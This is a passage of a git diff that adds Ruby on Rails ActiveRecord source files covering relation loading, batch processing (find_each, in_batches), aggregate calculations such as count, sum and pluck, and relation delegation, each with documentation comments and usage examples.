+    # If an invalid method is supplied, #delete_all raises an ActiveRecordError:
+    #
+    #   Post.limit(100).delete_all
+    #   # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit
+    def delete_all
+      invalid_methods = INVALID_METHODS_FOR_DELETE_ALL.select do |method|
+        value = get_value(method)
+        SINGLE_VALUE_METHODS.include?(method) ? value : value.any?
+      end
+      if invalid_methods.any?
+        raise ActiveRecordError.new("delete_all doesn't support #{invalid_methods.join(', ')}")
+      end
+
+      stmt = Arel::DeleteManager.new
+      stmt.from(table)
+
+      if has_join_values?
+        @klass.connection.join_to_delete(stmt, arel, arel_attribute(primary_key))
+      else
+        stmt.wheres = arel.constraints
+      end
+
+      affected = @klass.connection.delete(stmt, "SQL")
+
+      reset
+      affected
+    end
+
+    # Deletes the row with a primary key matching the +id+ argument, using a
+    # SQL +DELETE+ statement, and returns the number of rows deleted. Active
+    # Record objects are not instantiated, so the object's callbacks are not
+    # executed, including any <tt>:dependent</tt> association options.
+    #
+    # You can delete multiple rows at once by passing an Array of <tt>id</tt>s.
+    #
+    # Note: Although it is often much faster than the alternative,
+    # #destroy, skipping callbacks might bypass business logic in
+    # your application that ensures referential integrity or performs other
+    # essential jobs.
+    #
+    # ==== Examples
+    #
+    #   # Delete a single row
+    #   Todo.delete(1)
+    #
+    #   # Delete multiple rows
+    #   Todo.delete([2,3,4])
+    def delete(id_or_array)
+      where(primary_key => id_or_array).delete_all
+    end
+
+    # Causes the records to be loaded from the database if they have not
+    # been loaded already. You can use this if for some reason you need
+    # to explicitly load some records before actually using them. The
+    # return value is the relation itself, not the records.
+    #
+    #   Post.where(published: true).load # => #<ActiveRecord::Relation>
+    def load(&block)
+      exec_queries(&block) unless loaded?
+
+      self
+    end
+
+    # Forces reloading of relation.
+    def reload
+      reset
+      load
+    end
+
+    def reset
+      @to_sql = @arel = @loaded = @should_eager_load = nil
+      @records = [].freeze
+      @offsets = {}
+      self
+    end
+
+    # Returns sql statement for the relation.
+    #
+    #   User.where(name: 'Oscar').to_sql
+    #   # => SELECT "users".* FROM "users"  WHERE "users"."name" = 'Oscar'
+    def to_sql
+      @to_sql ||= begin
+                    relation = self
+
+                    if eager_loading?
+                      find_with_associations { |rel| relation = rel }
+                    end
+
+                    conn = klass.connection
+                    conn.unprepared_statement {
+                      sql, _ = conn.to_sql(relation.arel)
+                      sql
+                    }
+                  end
+    end
+
+    # Returns a hash of where conditions.
+    #
+    #   User.where(name: 'Oscar').where_values_hash
+    #   # => {name: "Oscar"}
+    def where_values_hash(relation_table_name = table_name)
+      where_clause.to_h(relation_table_name)
+    end
+
+    def scope_for_create
+      where_values_hash.merge!(create_with_value.stringify_keys)
+    end
+
+    # Returns true if relation needs eager loading.
+    def eager_loading?
+      @should_eager_load ||=
+        eager_load_values.any? ||
+        includes_values.any? && (joined_includes_values.any? || references_eager_loaded_tables?)
+    end
+
+    # Joins that are also marked for preloading. In which case we should just eager load them.
+    # Note that this is a naive implementation because we could have strings and symbols which
+    # represent the same association, but that aren't matched by this. Also, we could have
+    # nested hashes which partially match, e.g. { a: :b } & { a: [:b, :c] }
+    def joined_includes_values
+      includes_values & joins_values
+    end
+
+    # Compares two relations for equality.
+    def ==(other)
+      case other
+      when Associations::CollectionProxy, AssociationRelation
+        self == other.records
+      when Relation
+        other.to_sql == to_sql
+      when Array
+        records == other
+      end
+    end
+
+    def pretty_print(q)
+      q.pp(records)
+    end
+
+    # Returns true if relation is blank.
+    def blank?
+      records.blank?
+    end
+
+    def values
+      @values.dup
+    end
+
+    def inspect
+      subject = loaded? ? records : self
+      entries = subject.take([limit_value, 11].compact.min).map!(&:inspect)
+
+      entries[10] = "..." if entries.size == 11
+
+      "#<#{self.class.name} [#{entries.join(', ')}]>"
+    end
+
+    def empty_scope? # :nodoc:
+      @values == klass.unscoped.values
+    end
+
+    def has_limit_or_offset? # :nodoc:
+      limit_value || offset_value
+    end
+
+    protected
+
+      def load_records(records)
+        @records = records.freeze
+        @loaded = true
+      end
+
+    private
+
+      def has_join_values?
+        joins_values.any? || left_outer_joins_values.any?
+      end
+
+      def exec_queries(&block)
+        skip_query_cache_if_necessary do
+          @records = eager_loading? ? find_with_associations.freeze : @klass.find_by_sql(arel, &block).freeze
+
+          preload = preload_values
+          preload += includes_values unless eager_loading?
+          preloader = nil
+          preload.each do |associations|
+            preloader ||= build_preloader
+            preloader.preload @records, associations
+          end
+
+          @records.each(&:readonly!) if readonly_value
+
+          @loaded = true
+          @records
+        end
+      end
+
+      def skip_query_cache_if_necessary
+        if skip_query_cache_value
+          uncached do
+            yield
+          end
+        else
+          yield
+        end
+      end
+
+      def build_preloader
+        ActiveRecord::Associations::Preloader.new
+      end
+
+      def references_eager_loaded_tables?
+        joined_tables = arel.join_sources.map do |join|
+          if join.is_a?(Arel::Nodes::StringJoin)
+            tables_in_string(join.left)
+          else
+            [join.left.table_name, join.left.table_alias]
+          end
+        end
+
+        joined_tables += [table.name, table.table_alias]
+
+        # always convert table names to downcase as in Oracle quoted table names are in uppercase
+        joined_tables = joined_tables.flatten.compact.map(&:downcase).uniq
+
+        (references_values - joined_tables).any?
+      end
+
+      def tables_in_string(string)
+        return [] if string.blank?
+        # always convert table names to downcase as in Oracle quoted table names are in uppercase
+        # ignore raw_sql_ that is used by Oracle adapter as alias for limit/offset subqueries
+        string.scan(/([a-zA-Z_][.\w]+).?\./).flatten.map(&:downcase).uniq - ["raw_sql_"]
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
new file mode 100644
index 0000000000..141ad176ea
--- /dev/null
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -0,0 +1,275 @@
+# frozen_string_literal: true
+
+require_relative "batches/batch_enumerator"
+
+module ActiveRecord
+  module Batches
+    ORDER_IGNORE_MESSAGE = "Scoped order is ignored, it's forced to be batch order."
+
+    # Looping through a collection of records from the database
+    # (using the Scoping::Named::ClassMethods.all method, for example)
+    # is very inefficient since it will try to instantiate all the objects at once.
+    #
+    # In that case, batch processing methods allow you to work
+    # with the records in batches, thereby greatly reducing memory consumption.
+    #
+    # The #find_each method uses #find_in_batches with a batch size of 1000 (or as
+    # specified by the +:batch_size+ option).
+    #
+    #   Person.find_each do |person|
+    #     person.do_awesome_stuff
+    #   end
+    #
+    #   Person.where("age > 21").find_each do |person|
+    #     person.party_all_night!
+    #   end
+    #
+    # If you do not provide a block to #find_each, it will return an Enumerator
+    # for chaining with other methods:
+    #
+    #   Person.find_each.with_index do |person, index|
+    #     person.award_trophy(index + 1)
+    #   end
+    #
+    # ==== Options
+    # * <tt>:batch_size</tt> - Specifies the size of the batch. Defaults to 1000.
+    # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value.
+    # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value.
+    # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when
+    #   an order is present in the relation.
+    #
+    # Limits are honored, and if present there is no requirement for the batch
+    # size: it can be less than, equal to, or greater than the limit.
+    #
+    # The options +start+ and +finish+ are especially useful if you want
+    # multiple workers dealing with the same processing queue. You can make
+    # worker 1 handle all the records between id 1 and 9999 and worker 2
+    # handle from 10000 and beyond by setting the +:start+ and +:finish+
+    # option on each worker.
+    #
+    #   # Let's process from record 10_000 on.
+    #   Person.find_each(start: 10_000) do |person|
+    #     person.party_all_night!
+    #   end
+    #
+    # NOTE: It's not possible to set the order. That is automatically set to
+    # ascending on the primary key ("id ASC") to make the batch ordering
+    # work. This also means that this method only works when the primary key is
+    # orderable (e.g. an integer or string).
+    #
+    # NOTE: By its nature, batch processing is subject to race conditions if
+    # other processes are modifying the database.
+    def find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil)
+      if block_given?
+        find_in_batches(start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do |records|
+          records.each { |record| yield record }
+        end
+      else
+        enum_for(:find_each, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do
+          relation = self
+          apply_limits(relation, start, finish).size
+        end
+      end
+    end
+
+    # Yields each batch of records that was found by the find options as
+    # an array.
+    #
+    #   Person.where("age > 21").find_in_batches do |group|
+    #     sleep(50) # Make sure it doesn't get too crowded in there!
+    #     group.each { |person| person.party_all_night! }
+    #   end
+    #
+    # If you do not provide a block to #find_in_batches, it will return an Enumerator
+    # for chaining with other methods:
+    #
+    #   Person.find_in_batches.with_index do |group, batch|
+    #     puts "Processing group ##{batch}"
+    #     group.each(&:recover_from_last_night!)
+    #   end
+    #
+    # To be yielded each record one by one, use #find_each instead.
+    #
+    # ==== Options
+    # * <tt>:batch_size</tt> - Specifies the size of the batch. Defaults to 1000.
+    # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value.
+    # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value.
+    # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when
+    #   an order is present in the relation.
+    #
+    # Limits are honored, and if present there is no requirement for the batch
+    # size: it can be less than, equal to, or greater than the limit.
+    #
+    # The options +start+ and +finish+ are especially useful if you want
+    # multiple workers dealing with the same processing queue. You can make
+    # worker 1 handle all the records between id 1 and 9999 and worker 2
+    # handle from 10000 and beyond by setting the +:start+ and +:finish+
+    # option on each worker.
+    #
+    #   # Let's process from record 10_000 on.
+    #   Person.find_in_batches(start: 10_000) do |group|
+    #     group.each { |person| person.party_all_night! }
+    #   end
+    #
+    # NOTE: It's not possible to set the order. That is automatically set to
+    # ascending on the primary key ("id ASC") to make the batch ordering
+    # work. This also means that this method only works when the primary key is
+    # orderable (e.g. an integer or string).
+    #
+    # NOTE: By its nature, batch processing is subject to race conditions if
+    # other processes are modifying the database.
+    def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil)
+      relation = self
+      unless block_given?
+        return to_enum(:find_in_batches, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do
+          total = apply_limits(relation, start, finish).size
+          (total - 1).div(batch_size) + 1
+        end
+      end
+
+      in_batches(of: batch_size, start: start, finish: finish, load: true, error_on_ignore: error_on_ignore) do |batch|
+        yield batch.to_a
+      end
+    end
+
+    # Yields ActiveRecord::Relation objects to work with a batch of records.
+    #
+    #   Person.where("age > 21").in_batches do |relation|
+    #     relation.delete_all
+    #     sleep(10) # Throttle the delete queries
+    #   end
+    #
+    # If you do not provide a block to #in_batches, it will return a
+    # BatchEnumerator which is enumerable.
+    #
+    #   Person.in_batches.each_with_index do |relation, batch_index|
+    #     puts "Processing relation ##{batch_index}"
+    #     relation.delete_all
+    #   end
+    #
+    # Examples of calling methods on the returned BatchEnumerator object:
+    #
+    #   Person.in_batches.delete_all
+    #   Person.in_batches.update_all(awesome: true)
+    #   Person.in_batches.each_record(&:party_all_night!)
+    #
+    # ==== Options
+    # * <tt>:of</tt> - Specifies the size of the batch. Defaults to 1000.
+    # * <tt>:load</tt> - Specifies if the relation should be loaded. Defaults to false.
+    # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value.
+    # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value.
+    # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when
+    #   an order is present in the relation.
+    #
+    # Limits are honored, and if present there is no requirement for the batch
+    # size, it can be less than, equal, or greater than the limit.
+    #
+    # The options +start+ and +finish+ are especially useful if you want
+    # multiple workers dealing with the same processing queue. You can make
+    # worker 1 handle all the records between id 1 and 9999 and worker 2
+    # handle from 10000 and beyond by setting the +:start+ and +:finish+
+    # option on each worker.
+    #
+    #   # Let's process from record 10_000 on.
+    #   Person.in_batches(start: 10_000).update_all(awesome: true)
+    #
+    # An example of calling where query method on the relation:
+    #
+    #   Person.in_batches.each do |relation|
+    #     relation.update_all('age = age + 1')
+    #     relation.where('age > 21').update_all(should_party: true)
+    #     relation.where('age <= 21').delete_all
+    #   end
+    #
+    # NOTE: If you are going to iterate through each record, you should call
+    # #each_record on the yielded BatchEnumerator:
+    #
+    #   Person.in_batches.each_record(&:party_all_night!)
+    #
+    # NOTE: It's not possible to set the order. That is automatically set to
+    # ascending on the primary key ("id ASC") to make the batch ordering
+    # consistent. Therefore the primary key must be orderable, e.g. an integer
+    # or a string.
+    #
+    # NOTE: By its nature, batch processing is subject to race conditions if
+    # other processes are modifying the database.
+    def in_batches(of: 1000, start: nil, finish: nil, load: false, error_on_ignore: nil)
+      relation = self
+      unless block_given?
+        return BatchEnumerator.new(of: of, start: start, finish: finish, relation: self)
+      end
+
+      if arel.orders.present?
+        act_on_ignored_order(error_on_ignore)
+      end
+
+      batch_limit = of
+      if limit_value
+        remaining   = limit_value
+        batch_limit = remaining if remaining < batch_limit
+      end
+
+      relation = relation.reorder(batch_order).limit(batch_limit)
+      relation = apply_limits(relation, start, finish)
+      relation.skip_query_cache! # Retaining the results in the query cache would undermine the point of batching
+      batch_relation = relation
+
+      loop do
+        if load
+          records = batch_relation.records
+          ids = records.map(&:id)
+          yielded_relation = where(primary_key => ids)
+          yielded_relation.load_records(records)
+        else
+          ids = batch_relation.pluck(primary_key)
+          yielded_relation = where(primary_key => ids)
+        end
+
+        break if ids.empty?
+
+        primary_key_offset = ids.last
+        raise ArgumentError.new("Primary key not included in the custom select clause") unless primary_key_offset
+
+        yield yielded_relation
+
+        break if ids.length < batch_limit
+
+        if limit_value
+          remaining -= ids.length
+
+          if remaining == 0
+            # Saves a useless iteration when the limit is a multiple of the
+            # batch size.
+            break
+          elsif remaining < batch_limit
+            relation = relation.limit(remaining)
+          end
+        end
+
+        batch_relation = relation.where(arel_attribute(primary_key).gt(primary_key_offset))
+      end
+    end
+
+    private
+
+      def apply_limits(relation, start, finish)
+        relation = relation.where(arel_attribute(primary_key).gteq(start)) if start
+        relation = relation.where(arel_attribute(primary_key).lteq(finish)) if finish
+        relation
+      end
+
+      def batch_order
+        "#{quoted_table_name}.#{quoted_primary_key} ASC"
+      end
+
+      def act_on_ignored_order(error_on_ignore)
+        raise_error = (error_on_ignore.nil? ? klass.error_on_ignored_order : error_on_ignore)
+
+        if raise_error
+          raise ArgumentError.new(ORDER_IGNORE_MESSAGE)
+        elsif logger
+          logger.warn(ORDER_IGNORE_MESSAGE)
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/batches/batch_enumerator.rb b/activerecord/lib/active_record/relation/batches/batch_enumerator.rb
new file mode 100644
index 0000000000..49697da3bf
--- /dev/null
+++ b/activerecord/lib/active_record/relation/batches/batch_enumerator.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Batches
+    class BatchEnumerator
+      include Enumerable
+
+      def initialize(of: 1000, start: nil, finish: nil, relation:) #:nodoc:
+        @of       = of
+        @relation = relation
+        @start = start
+        @finish = finish
+      end
+
+      # Looping through a collection of records from the database (using the
+      # +all+ method, for example) is very inefficient since it will try to
+      # instantiate all the objects at once.
+      #
+      # In that case, batch processing methods allow you to work with the
+      # records in batches, thereby greatly reducing memory consumption.
+      #
+      #   Person.in_batches.each_record do |person|
+      #     person.do_awesome_stuff
+      #   end
+      #
+      #   Person.where("age > 21").in_batches(of: 10).each_record do |person|
+      #     person.party_all_night!
+      #   end
+      #
+      # If you do not provide a block to #each_record, it will return an Enumerator
+      # for chaining with other methods:
+      #
+      #   Person.in_batches.each_record.with_index do |person, index|
+      #     person.award_trophy(index + 1)
+      #   end
+      def each_record
+        return to_enum(:each_record) unless block_given?
+
+        @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: true).each do |relation|
+          relation.records.each { |record| yield record }
+        end
+      end
+
+      # Delegates #delete_all, #update_all, #destroy_all methods to each batch.
+      #
+      #   People.in_batches.delete_all
+      #   People.where('age < 10').in_batches.destroy_all
+      #   People.in_batches.update_all('age = age + 1')
+      [:delete_all, :update_all, :destroy_all].each do |method|
+        define_method(method) do |*args, &block|
+          @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false).each do |relation|
+            relation.send(method, *args, &block)
+          end
+        end
+      end
+
+      # Yields an ActiveRecord::Relation object for each batch of records.
+      #
+      #   Person.in_batches.each do |relation|
+      #     relation.update_all(awesome: true)
+      #   end
+      def each
+        enum = @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false)
+        return enum.each { |relation| yield relation } if block_given?
+        enum
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
new file mode 100644
index 0000000000..d3b5be6bce
--- /dev/null
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -0,0 +1,404 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Calculations
+    # Count the records.
+    #
+    #   Person.count
+    #   # => the total count of all people
+    #
+    #   Person.count(:age)
+    #   # => returns the total count of all people whose age is present in database
+    #
+    #   Person.count(:all)
+    #   # => performs a COUNT(*) (:all is an alias for '*')
+    #
+    #   Person.distinct.count(:age)
+    #   # => counts the number of different age values
+    #
+    # If #count is used with {Relation#group}[rdoc-ref:QueryMethods#group],
+    # it returns a Hash whose keys represent the aggregated column,
+    # and the values are the respective amounts:
+    #
+    #   Person.group(:city).count
+    #   # => { 'Rome' => 5, 'Paris' => 3 }
+    #
+    # If #count is used with {Relation#group}[rdoc-ref:QueryMethods#group] for multiple columns, it returns a Hash whose
+    # keys are an array containing the individual values of each column and the value
+    # of each key would be the #count.
+    #
+    #   Article.group(:status, :category).count
+    #   # =>  {["draft", "business"]=>10, ["draft", "technology"]=>4,
+    #          ["published", "business"]=>0, ["published", "technology"]=>2}
+    #
+    # If #count is used with {Relation#select}[rdoc-ref:QueryMethods#select], it will count the selected columns:
+    #
+    #   Person.select(:age).count
+    #   # => counts the number of different age values
+    #
+    # Note: not all valid {Relation#select}[rdoc-ref:QueryMethods#select] expressions are valid #count expressions. The specifics differ
+    # between databases. In invalid cases, an error from the database is thrown.
+    def count(column_name = nil)
+      if block_given?
+        unless column_name.nil?
+          ActiveSupport::Deprecation.warn \
+            "When `count' is called with a block, it ignores other arguments. " \
+            "This behavior is now deprecated and will result in an ArgumentError in Rails 6.0."
+        end
+
+        return super()
+      end
+
+      calculate(:count, column_name)
+    end
+
+    # Calculates the average value on a given column. Returns +nil+ if there's
+    # no row. See #calculate for examples with options.
+    #
+    #   Person.average(:age) # => 35.8
+    def average(column_name)
+      calculate(:average, column_name)
+    end
+
+    # Calculates the minimum value on a given column. The value is returned
+    # with the same data type of the column, or +nil+ if there's no row. See
+    # #calculate for examples with options.
+    #
+    #   Person.minimum(:age) # => 7
+    def minimum(column_name)
+      calculate(:minimum, column_name)
+    end
+
+    # Calculates the maximum value on a given column. The value is returned
+    # with the same data type of the column, or +nil+ if there's no row. See
+    # #calculate for examples with options.
+    #
+    #   Person.maximum(:age) # => 93
+    def maximum(column_name)
+      calculate(:maximum, column_name)
+    end
+
+    # Calculates the sum of values on a given column. The value is returned
+    # with the same data type of the column, +0+ if there's no row. See
+    # #calculate for examples with options.
+    #
+    #   Person.sum(:age) # => 4562
+    def sum(column_name = nil)
+      if block_given?
+        unless column_name.nil?
+          ActiveSupport::Deprecation.warn \
+            "When `sum' is called with a block, it ignores other arguments. " \
+            "This behavior is now deprecated and will result in an ArgumentError in Rails 6.0."
+        end
+
+        return super()
+      end
+
+      calculate(:sum, column_name)
+    end
+
+    # This calculates aggregate values in the given column. Methods for #count, #sum, #average,
+    # #minimum, and #maximum have been added as shortcuts.
+    #
+    #   Person.calculate(:count, :all) # The same as Person.count
+    #   Person.average(:age) # SELECT AVG(age) FROM people...
+    #
+    #   # Selects the minimum age for any family without any minors
+    #   Person.group(:last_name).having("min(age) > 17").minimum(:age)
+    #
+    #   Person.sum("2 * age")
+    #
+    # There are two basic forms of output:
+    #
+    # * Single aggregate value: The single value is type cast to Integer for COUNT, Float
+    #   for AVG, and the given column's type for everything else.
+    #
+    # * Grouped values: This returns an ordered hash of the values and groups them. It
+    #   takes either a column name, or the name of a belongs_to association.
+    #
+    #      values = Person.group('last_name').maximum(:age)
+    #      puts values["Drake"]
+    #      # => 43
+    #
+    #      drake  = Family.find_by(last_name: 'Drake')
+    #      values = Person.group(:family).maximum(:age) # Person belongs_to :family
+    #      puts values[drake]
+    #      # => 43
+    #
+    #      values.each do |family, max_age|
+    #        ...
+    #      end
+    def calculate(operation, column_name)
+      if has_include?(column_name)
+        relation = construct_relation_for_association_calculations
+        relation.distinct! if operation.to_s.downcase == "count"
+
+        relation.calculate(operation, column_name)
+      else
+        perform_calculation(operation, column_name)
+      end
+    end
+
+    # Use #pluck as a shortcut to select one or more attributes without
+    # loading a bunch of records just to grab the attributes you want.
+    #
+    #   Person.pluck(:name)
+    #
+    # instead of
+    #
+    #   Person.all.map(&:name)
+    #
+    # Pluck returns an Array of attribute values type-casted to match
+    # the plucked column names, if they can be deduced. Plucking an SQL fragment
+    # returns String values by default.
+    #
+    #   Person.pluck(:name)
+    #   # SELECT people.name FROM people
+    #   # => ['David', 'Jeremy', 'Jose']
+    #
+    #   Person.pluck(:id, :name)
+    #   # SELECT people.id, people.name FROM people
+    #   # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+    #
+    #   Person.distinct.pluck(:role)
+    #   # SELECT DISTINCT role FROM people
+    #   # => ['admin', 'member', 'guest']
+    #
+    #   Person.where(age: 21).limit(5).pluck(:id)
+    #   # SELECT people.id FROM people WHERE people.age = 21 LIMIT 5
+    #   # => [2, 3]
+    #
+    #   Person.pluck('DATEDIFF(updated_at, created_at)')
+    #   # SELECT DATEDIFF(updated_at, created_at) FROM people
+    #   # => ['0', '27761', '173']
+    #
+    # See also #ids.
+    #
+    def pluck(*column_names)
+      if loaded? && (column_names.map(&:to_s) - @klass.attribute_names - @klass.attribute_aliases.keys).empty?
+        return records.pluck(*column_names)
+      end
+
+      if has_include?(column_names.first)
+        construct_relation_for_association_calculations.pluck(*column_names)
+      else
+        relation = spawn
+        relation.select_values = column_names.map { |cn|
+          @klass.has_attribute?(cn) || @klass.attribute_alias?(cn) ? arel_attribute(cn) : cn
+        }
+        result = skip_query_cache_if_necessary { klass.connection.select_all(relation.arel, nil) }
+        result.cast_values(klass.attribute_types)
+      end
+    end
+
+    # Pluck all the ID's for the relation using the table's primary key
+    #
+    #   Person.ids # SELECT people.id FROM people
+    #   Person.joins(:companies).ids # SELECT people.id FROM people INNER JOIN companies ON companies.person_id = people.id
+    def ids
+      pluck primary_key
+    end
+
+    private
+
+      def has_include?(column_name)
+        eager_loading? || (includes_values.present? && column_name && column_name != :all)
+      end
+
+      def perform_calculation(operation, column_name)
+        operation = operation.to_s.downcase
+
+        # If #count is used with #distinct (i.e. `relation.distinct.count`) it is
+        # considered distinct.
+        distinct = distinct_value
+
+        if operation == "count"
+          column_name ||= select_for_count
+          if column_name == :all
+            if distinct && !(has_limit_or_offset? && order_values.any?)
+              column_name = primary_key
+            end
+          elsif column_name =~ /\s*DISTINCT[\s(]+/i
+            distinct = nil
+          end
+        end
+
+        if group_values.any?
+          execute_grouped_calculation(operation, column_name, distinct)
+        else
+          execute_simple_calculation(operation, column_name, distinct)
+        end
+      end
+
+      def aggregate_column(column_name)
+        return column_name if Arel::Expressions === column_name
+
+        if @klass.has_attribute?(column_name.to_s) || @klass.attribute_alias?(column_name.to_s)
+          @klass.arel_attribute(column_name)
+        else
+          Arel.sql(column_name == :all ? "*" : column_name.to_s)
+        end
+      end
+
+      def operation_over_aggregate_column(column, operation, distinct)
+        operation == "count" ? column.count(distinct) : column.send(operation)
+      end
+
+      def execute_simple_calculation(operation, column_name, distinct) #:nodoc:
+        column_alias = column_name
+
+        if operation == "count" && has_limit_or_offset?
+          # Shortcut when limit is zero.
+          return 0 if limit_value == 0
+
+          query_builder = build_count_subquery(spawn, column_name, distinct)
+        else
+          # PostgreSQL doesn't like ORDER BY when there are no GROUP BY
+          relation = unscope(:order).distinct!(false)
+
+          column = aggregate_column(column_name)
+
+          select_value = operation_over_aggregate_column(column, operation, distinct)
+
+          column_alias = select_value.alias
+          column_alias ||= @klass.connection.column_name_for_operation(operation, select_value)
+          relation.select_values = [select_value]
+
+          query_builder = relation.arel
+        end
+
+        result = skip_query_cache_if_necessary { @klass.connection.select_all(query_builder, nil) }
+        row    = result.first
+        value  = row && row.values.first
+        type   = result.column_types.fetch(column_alias) do
+          type_for(column_name)
+        end
+
+        type_cast_calculated_value(value, type, operation)
+      end
+
+      def execute_grouped_calculation(operation, column_name, distinct) #:nodoc:
+        group_attrs = group_values
+
+        if group_attrs.first.respond_to?(:to_sym)
+          association  = @klass._reflect_on_association(group_attrs.first)
+          associated   = group_attrs.size == 1 && association && association.belongs_to? # only count belongs_to associations
+          group_fields = Array(associated ? association.foreign_key : group_attrs)
+        else
+          group_fields = group_attrs
+        end
+        group_fields = arel_columns(group_fields)
+
+        group_aliases = group_fields.map { |field| column_alias_for(field) }
+        group_columns = group_aliases.zip(group_fields)
+
+        if operation == "count" && column_name == :all
+          aggregate_alias = "count_all"
+        else
+          aggregate_alias = column_alias_for([operation, column_name].join(" "))
+        end
+
+        select_values = [
+          operation_over_aggregate_column(
+            aggregate_column(column_name),
+            operation,
+            distinct).as(aggregate_alias)
+        ]
+        select_values += self.select_values unless having_clause.empty?
+
+        select_values.concat group_columns.map { |aliaz, field|
+          if field.respond_to?(:as)
+            field.as(aliaz)
+          else
+            "#{field} AS #{aliaz}"
+          end
+        }
+
+        relation = except(:group).distinct!(false)
+        relation.group_values  = group_fields
+        relation.select_values = select_values
+
+        calculated_data = skip_query_cache_if_necessary { @klass.connection.select_all(relation.arel, nil) }
+
+        if association
+          key_ids     = calculated_data.collect { |row| row[group_aliases.first] }
+          key_records = association.klass.base_class.where(association.klass.base_class.primary_key => key_ids)
+          key_records = Hash[key_records.map { |r| [r.id, r] }]
+        end
+
+        Hash[calculated_data.map do |row|
+          key = group_columns.map { |aliaz, col_name|
+            type = type_for(col_name) do
+              calculated_data.column_types.fetch(aliaz, Type.default_value)
+            end
+            type_cast_calculated_value(row[aliaz], type)
+          }
+          key = key.first if key.size == 1
+          key = key_records[key] if associated
+
+          type = calculated_data.column_types.fetch(aggregate_alias) { type_for(column_name) }
+          [key, type_cast_calculated_value(row[aggregate_alias], type, operation)]
+        end]
+      end
+
+      # Converts the given keys to the value that the database adapter returns as
+      # a usable column name:
+      #
+      #   column_alias_for("users.id")                 # => "users_id"
+      #   column_alias_for("sum(id)")                  # => "sum_id"
+      #   column_alias_for("count(distinct users.id)") # => "count_distinct_users_id"
+      #   column_alias_for("count(*)")                 # => "count_all"
+      def column_alias_for(keys)
+        if keys.respond_to? :name
+          keys = "#{keys.relation.name}.#{keys.name}"
+        end
+
+        table_name = keys.to_s.downcase
+        table_name.gsub!(/\*/, "all")
+        table_name.gsub!(/\W+/, " ")
+        table_name.strip!
+        table_name.gsub!(/ +/, "_")
+
+        @klass.connection.table_alias_for(table_name)
+      end
+
+      def type_for(field, &block)
+        field_name = field.respond_to?(:name) ? field.name.to_s : field.to_s.split(".").last
+        @klass.type_for_attribute(field_name, &block)
+      end
+
+      def type_cast_calculated_value(value, type, operation = nil)
+        case operation
+        when "count"   then value.to_i
+        when "sum"     then type.deserialize(value || 0)
+        when "average" then value.respond_to?(:to_d) ? value.to_d : value
+        else type.deserialize(value)
+        end
+      end
+
+      def select_for_count
+        if select_values.present?
+          return select_values.first if select_values.one?
+          select_values.join(", ")
+        else
+          :all
+        end
+      end
+
+      def build_count_subquery(relation, column_name, distinct)
+        relation.select_values = [
+          if column_name == :all
+            distinct ? table[Arel.star] : Arel.sql("1")
+          else
+            column_alias = Arel.sql("count_column")
+            aggregate_column(column_name).as(column_alias)
+          end
+        ]
+
+        subquery = relation.arel.as(Arel.sql("subquery_for_count"))
+        select_value = operation_over_aggregate_column(column_alias || Arel.star, "count", false)
+
+        Arel::SelectManager.new(subquery).project(select_value)
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
new file mode 100644
index 0000000000..4793f2a49b
--- /dev/null
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -0,0 +1,121 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Delegation # :nodoc:
+    module DelegateCache # :nodoc:
+      def relation_delegate_class(klass)
+        @relation_delegate_cache[klass]
+      end
+
+      def initialize_relation_delegate_cache
+        @relation_delegate_cache = cache = {}
+        [
+          ActiveRecord::Relation,
+          ActiveRecord::Associations::CollectionProxy,
+          ActiveRecord::AssociationRelation
+        ].each do |klass|
+          delegate = Class.new(klass) {
+            include ClassSpecificRelation
+          }
+          mangled_name = klass.name.gsub("::".freeze, "_".freeze)
+          const_set mangled_name, delegate
+          private_constant mangled_name
+
+          cache[klass] = delegate
+        end
+      end
+
+      def inherited(child_class)
+        child_class.initialize_relation_delegate_cache
+        super
+      end
+    end
+
+    extend ActiveSupport::Concern
+
+    # This module creates compiled delegation methods dynamically at runtime, which makes
+    # subsequent calls to that method faster by avoiding method_missing. The delegations
+    # may vary depending on the klass of a relation, so we create a subclass of Relation
+    # for each different klass, and the delegations are compiled into that subclass only.
+
+    delegate :to_xml, :encode_with, :length, :each, :uniq, :to_ary, :join,
+             :[], :&, :|, :+, :-, :sample, :reverse, :compact, :in_groups, :in_groups_of,
+             :to_sentence, :to_formatted_s, :as_json,
+             :shuffle, :split, :index, to: :records
+
+    delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
+             :connection, :columns_hash, to: :klass
+
+    module ClassSpecificRelation # :nodoc:
+      extend ActiveSupport::Concern
+
+      included do
+        @delegation_mutex = Mutex.new
+      end
+
+      module ClassMethods # :nodoc:
+        def name
+          superclass.name
+        end
+
